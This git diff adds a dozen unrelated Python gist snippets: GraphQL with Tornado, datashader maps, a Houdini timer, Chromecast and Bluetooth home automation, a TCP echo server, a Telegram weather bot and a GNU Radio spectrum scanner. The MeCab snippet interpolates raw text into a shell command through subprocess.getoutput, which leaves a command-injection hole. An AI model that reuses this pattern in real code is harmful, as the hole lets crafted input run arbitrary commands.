+    watson.start(task.get("project"), task.get("tags"))
+    watson.save()
+
+
+def main(args):
+    try:
+        old, new = load_json()
+        print(json.dumps(new))
+        if is_stopping(old, new):
+            stop_watson()
+            print("Watson project {} {} stopped".format(
+                new.get("project"), new.get("tags")))
+        elif is_starting(old, new):
+            start_watson(new)
+            print("Watson project {} {} started".format(
+                new.get("project"), new.get("tags")))
+        return 0
+    except Exception as e:
+        print(str(e))
+        return 1
+
+
+if __name__ == "__main__":
+    sys.exit(main(sys.argv))
diff --git a/hard-gists/daef0b34ec5af6f026af52d593131c64/._snippet.py b/hard-gists/daef0b34ec5af6f026af52d593131c64/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/daef0b34ec5af6f026af52d593131c64/._snippet.py differ
diff --git a/hard-gists/daef0b34ec5af6f026af52d593131c64/snippet.py b/hard-gists/daef0b34ec5af6f026af52d593131c64/snippet.py
new file mode 100644
index 00000000..62dc0cae
--- /dev/null
+++ b/hard-gists/daef0b34ec5af6f026af52d593131c64/snippet.py
@@ -0,0 +1,97 @@
+from tornado.concurrent import is_future
+from tornado.gen import Return, coroutine, convert_yielded, multi_future, sleep
+from tornado.ioloop import IOLoop
+from tornado.locks import Event
+
+from promise import Promise
+
+from graphql.execution import execute
+from graphql.language.parser import parse
+from graphql.type import (
+    GraphQLSchema,
+    GraphQLObjectType,
+    GraphQLField,
+    GraphQLString
+)
+
+
+class TornadoExecutor(object):
+    def __init__(self, io_loop=None):
+        if io_loop is None:
+            io_loop = IOLoop.current()
+        self.loop = io_loop
+        self.futures = []
+
+    def wait_until_finished(self):
+        # if there are futures to wait for
+        while self.futures:
+            # wait for the futures to finish
+            futures = self.futures
+            self.futures = []
+            self.loop.run_sync(lambda: multi_future(futures))
+
+    def execute(self, fn, *args, **kwargs):
+        result = fn(*args, **kwargs)
+        if is_future(result):
+            future = convert_yielded(result)
+            self.futures.append(future)
+            return Promise.resolve(future)
+        return result
+
+
+ast = parse('query Example { a, b, c }')
+
+
+def schema():
+    @coroutine
+    def resolver(*_):
+        yield sleep(0.001)
+        raise Return('hey')
+
+    @coroutine
+    def resolver_2(*_):
+        yield sleep(0.003)
+        raise Return('hey2')
+
+    def resolver_3(*_):
+        return 'hey3'
+
+    Type = GraphQLObjectType('Type', {
+        'a': GraphQLField(GraphQLString, resolver=resolver),
+        'b': GraphQLField(GraphQLString, resolver=resolver_2),
+        'c': GraphQLField(GraphQLString, resolver=resolver_3)
+    })
+    return GraphQLSchema(Type)
+
+
+def do_exec():
+    result = execute(schema(),
+                     ast,
+                     executor=TornadoExecutor(IOLoop()))
+    assert not result.errors
+    assert result.data == {'a': 'hey', 'b': 'hey2', 'c': 'hey3'}
+    print('SUCCESS SYNC')
+
+do_exec()
+
+
+@coroutine
+def do_exec():
+    result = execute(schema(),
+                     ast,
+                     executor=TornadoExecutor(),
+                     return_promise=True)
+
+    if getattr(result, 'is_pending', False):
+        event = Event()
+        on_resolve = lambda *_: event.set()
+        result.then(on_resolve).catch(on_resolve)
+        yield event.wait()
+
+    if hasattr(result, 'get'):
+        result = result.get()
+    assert not result.errors
+    assert result.data == {'a': 'hey', 'b': 'hey2', 'c': 'hey3'}
+    print('SUCCESS ASYNC')
+
+IOLoop().run_sync(do_exec)
diff --git a/hard-gists/db030013e981c46acb2886060dde607e/._snippet.py b/hard-gists/db030013e981c46acb2886060dde607e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/db030013e981c46acb2886060dde607e/._snippet.py differ
diff --git a/hard-gists/db030013e981c46acb2886060dde607e/snippet.py b/hard-gists/db030013e981c46acb2886060dde607e/snippet.py
new file mode 100644
index 00000000..ed9674d6
--- /dev/null
+++ b/hard-gists/db030013e981c46acb2886060dde607e/snippet.py
@@ -0,0 +1,64 @@
+from __future__ import division
+from functools import partial
+
+import pyproj
+from shapely.ops import transform
+import numpy as np
+
+from rasterio import features
+from affine import Affine
+import fiona
+
+import datashader as ds
+from datashader.colors import Hot, viridis
+import pdb
+from datashader import transfer_functions as tf
+from xarray import DataArray
+from multiprocessing import Pool
+
+def rasterize_geom(cvs, geom, all_touched=False, fill=0):
+    aform = Affine((cvs.x_range[1] - cvs.x_range[0]) / cvs.plot_width,
+                   0.0,
+                   cvs.x_range[0],
+                   0.0, (cvs.y_range[0] - cvs.y_range[1]) / cvs.plot_height, cvs.y_range[1])
+    rv_array = features.rasterize(((geom, 1)),
+                                  out_shape=(cvs.plot_height, cvs.plot_width),
+                                  transform=aform,
+                                  fill=fill,
+                                  all_touched=all_touched)
+    return rv_array
+
+def main():
+    shp = 'MAMMALS.shp'
+    cvs = ds.Canvas(plot_height=2000,
+                    plot_width=4000,
+                    x_range=(-180, 180),
+                    y_range=(-90, 90))
+
+    out_arr = None
+    count = 0
+    problems = 0
+    with fiona.collection(shp, "r") as source:
+        for feat in source:
+            try:
+                r = rasterize_geom(cvs, feat['geometry'])
+                if out_arr is None:
+                    out_arr = r
+                else:
+                    out_arr += r
+                count += 1
+                print(count)
+            except:
+                print('problem...')
+                problems += 1
+                continue
+
+    img = tf.interpolate(DataArray(data=np.flipud(out_arr)),
+                                   cmap=viridis,
+                                   how='linear')
+    tf.set_background(img, 'black').to_pil().save("mammals_linear.png")
+    print('Count: {}'.format(count))
+    print('Problems: {}'.format(problems))
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/db051ab5105c5af5401aa5ef8739ada9/._snippet.py b/hard-gists/db051ab5105c5af5401aa5ef8739ada9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/db051ab5105c5af5401aa5ef8739ada9/._snippet.py differ
diff --git a/hard-gists/db051ab5105c5af5401aa5ef8739ada9/snippet.py b/hard-gists/db051ab5105c5af5401aa5ef8739ada9/snippet.py
new file mode 100644
index 00000000..a5331e0a
--- /dev/null
+++ b/hard-gists/db051ab5105c5af5401aa5ef8739ada9/snippet.py
@@ -0,0 +1,64 @@
+import time, hou
+
+
+# version 1. Static class
+
+class SessionCallback(object):
+    last_time = time.time()
+    interval = 10 # sec
+
+    @classmethod
+    def start(cls):
+        print 'Callback created'
+        # This callback is called approximately every 50ms, unless Houdini is busy processing events.
+        hou.ui.addEventLoopCallback(cls.check_timer)
+
+    @classmethod
+    def stop(cls):
+        print 'Callback deleted'
+        hou.ui.removeEventLoopCallback(cls.check_timer)
+
+    @classmethod
+    def check_timer(cls):
+        if time.time() - cls.last_time > cls.interval:
+            cls.last_time = time.time()
+            cls.save()
+
+    @classmethod
+    def save(cls):
+        print 'SAVE'
+            
+    
+
+hou.session.SaveTimer = SessionCallback
+SessionCallback.start()
+# SessionCallback.stop()
+
+
+# version 2. Class instance
+
+class SessionCallback(object):
+    interval = 10 # sec
+
+    def __init__(self):
+        self.last_time = time.time()
+
+    def start(self):
+        print 'Callback created'
+        hou.ui.addEventLoopCallback(self.check_timer)
+
+    def stop(self):
+        print 'Callback deleted'
+        hou.ui.removeEventLoopCallback(self.check_timer)
+
+    def check_timer(self):
+        if time.time() - self.last_time > self.interval:
+            self.last_time = time.time()
+            self.save()
+
+    def save(self):
+        print 'SAVE'
+
+hou.session.SaveTimer = SessionCallback()
+hou.session.SaveTimer.start()
+# hou.session.SaveTimer.stop()
diff --git a/hard-gists/db5ec4ce7c1dbaae4707/._snippet.py b/hard-gists/db5ec4ce7c1dbaae4707/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/db5ec4ce7c1dbaae4707/._snippet.py differ
diff --git a/hard-gists/db5ec4ce7c1dbaae4707/snippet.py b/hard-gists/db5ec4ce7c1dbaae4707/snippet.py
new file mode 100644
index 00000000..caef90f2
--- /dev/null
+++ b/hard-gists/db5ec4ce7c1dbaae4707/snippet.py
@@ -0,0 +1,30 @@
+import time
+import sys
+import logging
+import pychromecast
+from scapy.all import *
+
+mac_address = '00:00:00:00:00:00'
+def arp_display(pkt):
+    if pkt[ARP].op == 1:
+        if pkt[ARP].hwsrc == mac_address:
+			
+            if '--show-debug' in sys.argv:
+                logging.basicConfig(level=logging.DEBUG)
+
+            cast = pychromecast.get_chromecast(friendly_name="CHROMECAST_NAME")
+            while cast == None:
+                cast = pychromecast.get_chromecast(friendly_name="CHROMECAST_NAME")
+
+            try:
+                if not cast.is_idle:
+                    print("Killing current running app")
+                    cast.quit_app()
+                    time.sleep(5)
+            except:
+                pass
+            print("Playing media")
+            cast.play_media(("url"), "audio/mp3")
+
+while(True):
+    sniff(prn=arp_display, filter="arp", store=0, count=10)
\ No newline at end of file
diff --git a/hard-gists/db709c8c1279348e0638/._snippet.py b/hard-gists/db709c8c1279348e0638/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/db709c8c1279348e0638/._snippet.py differ
diff --git a/hard-gists/db709c8c1279348e0638/snippet.py b/hard-gists/db709c8c1279348e0638/snippet.py
new file mode 100644
index 00000000..db5ce75e
--- /dev/null
+++ b/hard-gists/db709c8c1279348e0638/snippet.py
@@ -0,0 +1,77 @@
+from socketserver import TCPServer, StreamRequestHandler, ThreadingMixIn
+import threading
+
+class TCPThreadedServer(TCPServer, ThreadingMixIn):
+    class RequestHandler(StreamRequestHandler):
+       def handle(self):
+           msg = self.rfile.readline().decode('utf-8').strip()
+           reply = self.server.process(msg)
+           if reply is not None:
+               self.wfile.write((reply + '\n').encode('utf-8'))
+
+    def __init__(self, host, port, name=None):
+        self.allow_reuse_address = True
+        TCPServer.__init__(self, (host, port), self.RequestHandler)
+        if name is None: name = "%s:%s" % (host, port)
+        self.name = name
+        self.poll_interval = 0.5
+
+    def process(self, msg):
+        """
+        should be overridden
+        process a message
+        msg    - string containing a received message
+        return - if returns a not None object, it will be sent back 
+                 to the client.
+        """
+        raise NotImplemented
+
+    def serve_forever(self, poll_interval=0.5):
+        self.poll_interval = poll_interval
+        self.trd = threading.Thread(target=TCPServer.serve_forever,
+                                    args = [self, self.poll_interval],
+                                    name = "PyServer-" + self.name)
+        self.trd.start()
+
+    def shutdown(self):
+        TCPServer.shutdown(self)
+        TCPServer.server_close(self)
+        self.trd.join()
+        del self.trd
+
+if __name__ == "__main__":
+
+    import socket
+    def client(ip, port, msg, recv_len=4096, 
+               timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
+        msg = str(msg)
+        response = None
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        try:
+            sock.connect((ip, port))
+            if timeout != socket._GLOBAL_DEFAULT_TIMEOUT:
+                sock.settimeout(timeout)
+            sock.send((msg + "\n").encode('utf-8'))
+            if recv_len > 0:
+                response = sock.recv(recv_len).decode('utf-8')
+        finally:
+            sock.close()
+            return response
+    
+    class EchoServerExample(TCPThreadedServer):
+        def __init__(self):
+            TCPThreadedServer.__init__(self, "localhost", 1234, "Server")
+    
+        def process(self, data):
+            print("EchoServer Got: " + data)
+            return str.upper(data)
+    
+    for i in range(10):
+        echo = EchoServerExample()
+        echo.serve_forever()
+    
+        response = client("localhost", 1234, "hi-%i" % i)
+        print("Client received: " + response)
+    
+        echo.shutdown()
+    
diff --git a/hard-gists/db7b6db7035dd48e5902/._snippet.py b/hard-gists/db7b6db7035dd48e5902/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/db7b6db7035dd48e5902/._snippet.py differ
diff --git a/hard-gists/db7b6db7035dd48e5902/snippet.py b/hard-gists/db7b6db7035dd48e5902/snippet.py
new file mode 100644
index 00000000..27b4758d
--- /dev/null
+++ b/hard-gists/db7b6db7035dd48e5902/snippet.py
@@ -0,0 +1,54 @@
+#! /usr/bin/env python
+# -*- coding:utf-8 -*-
+
+import concurrent.futures
+import sys
+import subprocess
+import time
+from collections import defaultdict
+from data import sentences
+
+
+def sent2kgram(sentence, k=2, delimiter=" "):
+    sentence = str(subprocess.getoutput("echo %s | mecab -O wakati" % (sentence)))
+    words = sentence.strip().split()
+    length, kgrams = len(words), []
+    for i in range(length - k):
+        kgram = delimiter.join(words[i:i + k])
+        kgrams.append(kgram)
+    return kgrams
+
+
+def timef(f):
+    def wrapper():
+        start = time.time()
+        f()
+        end = time.time()
+        print("%s: %.2fms" % (f.__name__, (end - start) * 1000))
+    return wrapper
+
+
+@timef
+def single_process():
+    kgram2id = defaultdict(lambda: len(kgram2id))
+    for sentence in sentences:
+        kgram = sent2kgram(sentence)
+        kgram = map(lambda x: kgram2id[x], kgram)
+    return kgram2id
+
+
+@timef
+def multi_process():
+    kgram2id = defaultdict(lambda: len(kgram2id))
+    with concurrent.futures.ProcessPoolExecutor(max_workers=4) as executor:
+        for res_kgram in executor.map(sent2kgram, sentences):
+            res_kgram = map(lambda x: kgram2id[x], res_kgram)
+    return kgram2id
+
+
+def main():
+    single_process()
+    multi_process()
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/db972e738cfacdf8055f/._snippet.py b/hard-gists/db972e738cfacdf8055f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/db972e738cfacdf8055f/._snippet.py differ
diff --git a/hard-gists/db972e738cfacdf8055f/snippet.py b/hard-gists/db972e738cfacdf8055f/snippet.py
new file mode 100644
index 00000000..0ac0acd3
--- /dev/null
+++ b/hard-gists/db972e738cfacdf8055f/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/python
+ 
+import sys
+from gi.repository import Vips
+ 
+im = Vips.Image.new_from_file(sys.argv[1], access = Vips.Access.SEQUENTIAL)
+ 
+text = Vips.Image.text(sys.argv[3], width = 500, dpi = 300)
+text = (text * 0.3).cast("uchar")
+text = text.embed(100, 100, text.width + 200, text.width + 200)
+text = text.replicate(1 + im.width / text.width, 1 + im.height / text.height)
+text = text.crop(0, 0, im.width, im.height)
+
+# we want to blend into the visible part of the image and leave any alpha
+# channels untouched ... we need to split im into two parts
+
+# guess how many bands from the start of im contain visible colour information
+if im.bands >= 4 and im.interpretation == Vips.Interpretation.CMYK:
+    # cmyk image
+    n_visible_bands = 4
+    text_colour = [0, 255, 0, 0]
+elif im.bands > 3:
+    # rgb image
+    n_visible_bands = 3
+    text_colour = [255, 0, 0]
+else:
+    # mono image
+    n_visible_bands = 1
+    text_colour = 255
+
+# split into image and alpha
+if im.bands > n_visible_bands:
+    alpha = im.extract_band(n_visible_bands, n = im.bands - n_visible_bands)
+    im = im.extract_band(0, n = n_visible_bands)
+else:
+    alpha = None
+
+im = text.ifthenelse(text_colour, im, blend = True)
+
+# reattach alpha
+if alpha:
+    im = im.bandjoin(alpha)
+ 
+im.write_to_file(sys.argv[2])
diff --git a/hard-gists/dbb593a597acb2c0b93b/._snippet.py b/hard-gists/dbb593a597acb2c0b93b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dbb593a597acb2c0b93b/._snippet.py differ
diff --git a/hard-gists/dbb593a597acb2c0b93b/snippet.py b/hard-gists/dbb593a597acb2c0b93b/snippet.py
new file mode 100644
index 00000000..3f24662a
--- /dev/null
+++ b/hard-gists/dbb593a597acb2c0b93b/snippet.py
@@ -0,0 +1,32 @@
+#!/usr/bin/python
+
+import bluetooth
+import time
+import requests
+from requests.exceptions import ConnectionError
+
+payload =''
+
+while True:
+    print "Checking " + time.strftime("%a, %d %b %Y %H:%M:%S", time.gmtime())
+    result = bluetooth.lookup_name('78:7F:70:38:51:1B', timeout=5)
+	
+    if (result != None and payload!='ON'):
+        print "User present"
+	payload ='ON'
+	try:
+		r = requests.put("http://localhost:8080/rest/items/JamesInOffice/state",data=payload)
+	except ConnectionError as e:
+		print e
+		r = "No Response"
+		payload = ''
+    elif (payload != 'OFF' and result == None):
+        print "User out of range"
+	payload ='OFF'
+	try:
+		r = requests.put("http://localhost:8080/rest/items/JamesInOffice/state",data=payload)
+	except ConnectionError as e:
+		print e
+		r = "No Response"
+		payload = ''
+    time.sleep(10)
\ No newline at end of file
diff --git a/hard-gists/dbec2584e7508cbfc79e/._snippet.py b/hard-gists/dbec2584e7508cbfc79e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dbec2584e7508cbfc79e/._snippet.py differ
diff --git a/hard-gists/dbec2584e7508cbfc79e/snippet.py b/hard-gists/dbec2584e7508cbfc79e/snippet.py
new file mode 100644
index 00000000..8a53fcd2
--- /dev/null
+++ b/hard-gists/dbec2584e7508cbfc79e/snippet.py
@@ -0,0 +1,36 @@
+# Luxafor via Python
+# Dave Irvine www.daveirvine.me @dave_irvine
+
+# Get PyUSB from:
+# http://walac.github.io/pyusb/
+
+#!/usr/bin/python
+
+import usb.core
+import usb.util
+import sys
+
+# find our device
+dev = usb.core.find(idVendor=0x04d8, idProduct=0xf372)
+
+# was it found?
+if dev is None:
+    raise ValueError('Device not found')
+
+# Linux kernel sets up a device driver for USB device, which you have
+# to detach. Otherwise trying to interact with the device gives a
+# 'Resource Busy' error.
+try:
+  dev.detach_kernel_driver(0)
+except Exception, e:
+  pass                       
+ 
+dev.set_configuration()
+
+dev.write(1, [0, 0])
+
+# "red" == 82
+# "green" == 71
+# "blue" == 66
+# "yellow" == 89
+dev.write(1, [0, 82])
diff --git a/hard-gists/dc176cdb29efd826e8c748e7f96933f0/._snippet.py b/hard-gists/dc176cdb29efd826e8c748e7f96933f0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dc176cdb29efd826e8c748e7f96933f0/._snippet.py differ
diff --git a/hard-gists/dc176cdb29efd826e8c748e7f96933f0/snippet.py b/hard-gists/dc176cdb29efd826e8c748e7f96933f0/snippet.py
new file mode 100644
index 00000000..68b7b8cb
--- /dev/null
+++ b/hard-gists/dc176cdb29efd826e8c748e7f96933f0/snippet.py
@@ -0,0 +1,140 @@
+# -*- coding: UTF-8 -*-
+import sys
+from wit import Wit
+from pyowm import OWM
+from telegram import InlineKeyboardButton, InlineKeyboardMarkup
+from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackQueryHandler
+import logging
+
+DEFAULT_MAX_STEPS = 5
+# Enable logging
+logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
+                    level=logging.INFO)
+
+logger = logging.getLogger(__name__)
+
+WIT_TOKEN = ''
+OWM_API = ''
+TELEGRAM_TOKEN = ''
+
+class WitSystem():
+    def __init__(self):
+        self.owm = OWM(OWM_API, language='ru')
+        actions = {
+            'send': self.send,
+            'getForecast': self.get_forecast,
+            'getExtraForecast': self.get_extra_forecast,
+            'clearStory': self.clear_story
+        }
+        self.client = Wit(access_token=WIT_TOKEN, actions=actions)
+        self.contexts = {}
+        self.context_answer = {}
+
+    def first_entity_value(self, entities, entity):
+        if entity not in entities:
+            return None
+        val = entities[entity][0]['value']
+        if not val:
+            return None
+        return val['value'] if isinstance(val, dict) else val
+
+    def send(self, request, response):
+        print(response['text'].decode('utf-8'))
+        logger.info('Info "%s" "%s" "%s"' % (response['text'].decode('utf-8'), str(request), str(response)))
+        self.context_answer[request['session_id']] = response
+
+    def recive(self, chat_id, message, max_steps=DEFAULT_MAX_STEPS):
+        if chat_id not in self.contexts:
+            self.contexts[chat_id] = {}
+        self.contexts[chat_id] = self.client.run_actions(chat_id, message, self.contexts[chat_id], max_steps)
+        return self.context_answer[chat_id]
+
+    def get_forecast(self, request):
+        context = request['context']
+        entities = request['entities']
+
+        loc = self.first_entity_value(entities, 'location')
+        if loc:
+            observation = self.owm.weather_at_place(loc)
+            w = observation.get_weather()
+            context['forecast'] = w.get_status() 
+            context['location'] = loc
+
+            if context.get('missingLocation') is not None:
+                del context['missingLocation']
+        else:
+            context['missingLocation'] = True
+            if context.get('forecast') is not None:
+                del context['forecast']
+
+        return context
+
+    def get_extra_forecast(self, request):
+        context = request['context']
+        entities = request['entities']
+        location = context['location']
+
+        observation = self.owm.weather_at_place(location)
+        w = observation.get_weather()
+        temperature = w.get_temperature(unit='celsius')
+        weather_temp = ' '.join(map(str, (temperature['temp_min'],temperature['temp'],temperature['temp_max'])))
+        humidity = str(w.get_humidity())
+
+        context['extraForecast'] = 'В '+ location + ' температура:' +weather_temp + ' влажность:' + humidity
+        return context
+
+    def clear_story(self, request):
+        context = request['context']
+        entities = request['entities']
+
+        if context.get('missingLocation') is not None:
+            del context['missingLocation']
+        if context.get('forecast') is not None:
+            del context['forecast']
+        if context.get('extraForecast') is not None:
+            del context['extraForecast']
+        return context
+
+def main():
+    updater = Updater(TELEGRAM_TOKEN)
+    dp = updater.dispatcher
+
+    dp.add_handler(CommandHandler("start", start))
+    dp.add_handler(CallbackQueryHandler(button))
+    dp.add_handler(MessageHandler([Filters.text], echo))
+
+    dp.add_error_handler(error)
+
+    updater.start_polling()
+    updater.idle()
+
+def echo(bot, update):
+    logger.info('Info "%s" "%s"' % (update.message.text, ''))
+    echo = witHandler.recive(update.message.chat_id, update.message.text)
+    bot.sendMessage(update.message.chat_id, text=str(echo['text'].decode('utf-8')))
+    if echo['quickreplies']:
+        start(bot, update, echo['quickreplies'])
+
+def error(bot, update, error):
+    logger.warn('Update "%s" caused error "%s"' % (update, error))
+
+def start(bot, update, data):
+    """keyboard = [[InlineKeyboardButton("Подробнее", callback_data='Подробнее'),
+                 InlineKeyboardButton("Ясно", callback_data='Ясно')]]"""
+    keyboard = [[InlineKeyboardButton(button, callback_data=button) for button in data]]
+
+    reply_markup = InlineKeyboardMarkup(keyboard)
+
+    bot.sendMessage(update.message.chat_id, text="Ответить:", reply_markup=reply_markup)
+
+
+def button(bot, update):
+    query = update.callback_query
+    echo = witHandler.recive(query.message.chat_id, query.data)
+    bot.editMessageText(text="%s" % str(echo['text'].decode('utf-8')),
+                        chat_id=query.message.chat_id,
+                        message_id=query.message.message_id)
+
+witHandler = WitSystem()
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/dc3257b6a44da3d8fd05/._snippet.py b/hard-gists/dc3257b6a44da3d8fd05/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dc3257b6a44da3d8fd05/._snippet.py differ
diff --git a/hard-gists/dc3257b6a44da3d8fd05/snippet.py b/hard-gists/dc3257b6a44da3d8fd05/snippet.py
new file mode 100644
index 00000000..d3441fd1
--- /dev/null
+++ b/hard-gists/dc3257b6a44da3d8fd05/snippet.py
@@ -0,0 +1,335 @@
+#!/usr/bin/env python
+#
+# Copyright 2005,2007,2011,2015 Free Software Foundation, Inc.
+#
+# GNU Radio is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 3, or (at your option)
+# any later version.
+#
+# GNU Radio is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with GNU Radio; see the file COPYING.  If not, write to
+# the Free Software Foundation, Inc., 51 Franklin Street,
+# Boston, MA 02110-1301, USA.
+#
+
+#
+# This is a modified version of osmocom_spectrum_sense
+# It is designed to send output date to the Munich CCC flipdot
+# display via the UDP listener on the controller
+#
+
+import osmosdr
+from gnuradio import gr, eng_notation
+from gnuradio import blocks
+from gnuradio import audio
+from gnuradio import filter
+from gnuradio import fft
+from gnuradio.eng_option import eng_option
+from optparse import OptionParser
+import sys
+import math
+import struct
+import threading
+import socket
+from datetime import datetime
+
+sys.stderr.write("Warning: this may have issues on some machines+Python version combinations to seg fault due to the callback in bin_statitics.\n\n")
+
+class ThreadClass(threading.Thread):
+    def run(self):
+        return
+
+class tune(gr.feval_dd):
+    """
+    This class allows C++ code to callback into python.
+    """
+    def __init__(self, tb):
+        gr.feval_dd.__init__(self)
+        self.tb = tb
+
+    def eval(self, ignore):
+        """
+        This method is called from blocks.bin_statistics_f when it wants
+        to change the center frequency.  This method tunes the front
+        end to the new center frequency, and returns the new frequency
+        as its result.
+        """
+
+        try:
+            # We use this try block so that if something goes wrong
+            # from here down, at least we'll have a prayer of knowing
+            # what went wrong.  Without this, you get a very
+            # mysterious:
+            #
+            #   terminate called after throwing an instance of
+            #   'Swig::DirectorMethodException' Aborted
+            #
+            # message on stderr.  Not exactly helpful ;)
+
+            new_freq = self.tb.set_next_freq()
+            
+            # wait until msgq is empty before continuing
+            while(self.tb.msgq.full_p()):
+                #print "msgq full, holding.."
+                time.sleep(0.1)
+            
+            return new_freq
+
+        except Exception, e:
+            print "tune: Exception: ", e
+
+
+class parse_msg(object):
+    def __init__(self, msg):
+        self.center_freq = msg.arg1()
+        self.vlen = int(msg.arg2())
+        assert(msg.length() == self.vlen * gr.sizeof_float)
+
+        # FIXME consider using NumPy array
+        t = msg.to_string()
+        self.raw_data = t
+        self.data = struct.unpack('%df' % (self.vlen,), t)
+
+
+class my_top_block(gr.top_block):
+
+    def __init__(self):
+        gr.top_block.__init__(self)
+
+        usage = "usage: %prog [options] min_freq max_freq"
+        parser = OptionParser(option_class=eng_option, usage=usage)
+        parser.add_option("-a", "--args", type="string", default="",
+                          help="Device args [default=%default]")
+        parser.add_option("-A", "--antenna", type="string", default=None,
+                          help="Select antenna where appropriate")
+        parser.add_option("-s", "--samp-rate", type="eng_float", default=None,
+                          help="Set sample rate (bandwidth), minimum by default")
+        parser.add_option("-g", "--gain", type="eng_float", default=None,
+                          help="Set gain in dB (default is midpoint)")
+        parser.add_option("", "--tune-delay", type="eng_float",
+                          default=0.25, metavar="SECS",
+                          help="Time to delay (in seconds) after changing frequency [default=%default]")
+        parser.add_option("", "--dwell-delay", type="eng_float",
+                          default=0.25, metavar="SECS",
+                          help="Time to dwell (in seconds) at a given frequency [default=%default]")
+        parser.add_option("-b", "--channel-bandwidth", type="eng_float",
+                          default=6.25e3, metavar="Hz",
+                          help="Channel bandwidth of fft bins in Hz [default=%default]")
+        parser.add_option("-q", "--squelch-threshold", type="eng_float",
+                          default=None, metavar="dB",
+                          help="Squelch threshold in dB [default=%default]")
+        parser.add_option("-F", "--fft-size", type="int", default=None,
+                          help="Specify number of FFT bins [default=samp_rate/channel_bw]")
+        parser.add_option("", "--real-time", action="store_true", default=False,
+                          help="Attempt to enable real-time scheduling")
+
+        (options, args) = parser.parse_args()
+        if len(args) != 2:
+            parser.print_help()
+            sys.exit(1)
+
+        self.channel_bandwidth = options.channel_bandwidth
+
+        self.min_freq = eng_notation.str_to_num(args[0])
+        self.max_freq = eng_notation.str_to_num(args[1])
+
+        if self.min_freq > self.max_freq:
+            # swap them
+            self.min_freq, self.max_freq = self.max_freq, self.min_freq
+
+        if not options.real_time:
+            realtime = False
+        else:
+            # Attempt to enable realtime scheduling
+            r = gr.enable_realtime_scheduling()
+            if r == gr.RT_OK:
+                realtime = True
+            else:
+                realtime = False
+                print "Note: failed to enable realtime scheduling"
+
+        # build graph
+        self.u = osmosdr.source(options.args)
+
+        try:
+            self.u.get_sample_rates().start()
+        except RuntimeError:
+            print "Source has no sample rates (wrong device arguments?)."
+            sys.exit(1)
+
+        # Set the antenna
+        if(options.antenna):
+            self.u.set_antenna(options.antenna, 0)
+        
+        if options.samp_rate is None:
+            options.samp_rate = self.u.get_sample_rates().start()
+
+        self.u.set_sample_rate(options.samp_rate)
+        self.usrp_rate = usrp_rate = self.u.get_sample_rate()
+
+        if options.fft_size is None:
+            self.fft_size = int(self.usrp_rate/self.channel_bandwidth)
+        else:
+            self.fft_size = options.fft_size
+        
+        self.squelch_threshold = options.squelch_threshold
+        
+        s2v = blocks.stream_to_vector(gr.sizeof_gr_complex, self.fft_size)
+
+        mywindow = filter.window.blackmanharris(self.fft_size)
+        ffter = fft.fft_vcc(self.fft_size, True, mywindow, True)
+        power = 0
+        for tap in mywindow:
+            power += tap*tap
+
+        c2mag = blocks.complex_to_mag_squared(self.fft_size)
+
+        # FIXME the log10 primitive is dog slow
+        #log = blocks.nlog10_ff(10, self.fft_size,
+        #                       -20*math.log10(self.fft_size)-10*math.log10(power/self.fft_size))
+
+        # Set the freq_step to 75% of the actual data throughput.
+        # This allows us to discard the bins on both ends of the spectrum.
+
+        self.freq_step = self.nearest_freq((0.75 * self.usrp_rate), self.channel_bandwidth)
+        self.min_center_freq = self.min_freq + (self.freq_step/2) 
+        nsteps = math.ceil((self.max_freq - self.min_freq) / self.freq_step)
+        self.max_center_freq = self.min_center_freq + (nsteps * self.freq_step)
+
+        self.next_freq = self.min_center_freq
+
+        tune_delay  = max(0, int(round(options.tune_delay * usrp_rate / self.fft_size)))  # in fft_frames
+        dwell_delay = max(1, int(round(options.dwell_delay * usrp_rate / self.fft_size))) # in fft_frames
+
+        self.msgq = gr.msg_queue(1)
+        self._tune_callback = tune(self)        # hang on to this to keep it from being GC'd
+        stats = blocks.bin_statistics_f(self.fft_size, self.msgq,
+                                        self._tune_callback, tune_delay,
+                                        dwell_delay)
+
+        # FIXME leave out the log10 until we speed it up
+        #self.connect(self.u, s2v, ffter, c2mag, log, stats)
+        self.connect(self.u, s2v, ffter, c2mag, stats)
+
+        if options.gain is None:
+            # if no gain was specified, use the mid-point in dB
+            g = self.u.get_gain_range()
+            options.gain = float(g.start()+g.stop())/2.0
+
+        self.set_gain(options.gain)
+        print "gain =", options.gain
+
+    def set_next_freq(self):
+        target_freq = self.next_freq
+        self.next_freq = self.next_freq + self.freq_step
+        if self.next_freq >= self.max_center_freq:
+            self.next_freq = self.min_center_freq
+
+        if not self.set_freq(target_freq):
+            print "Failed to set frequency to", target_freq
+            sys.exit(1)
+
+        return target_freq
+
+
+    def set_freq(self, target_freq):
+        """
+        Set the center frequency we're interested in.
+
+        @param target_freq: frequency in Hz
+        @rypte: bool
+        """
+        
+        r = self.u.set_center_freq(target_freq)
+        if r:
+            return True
+
+        return False
+
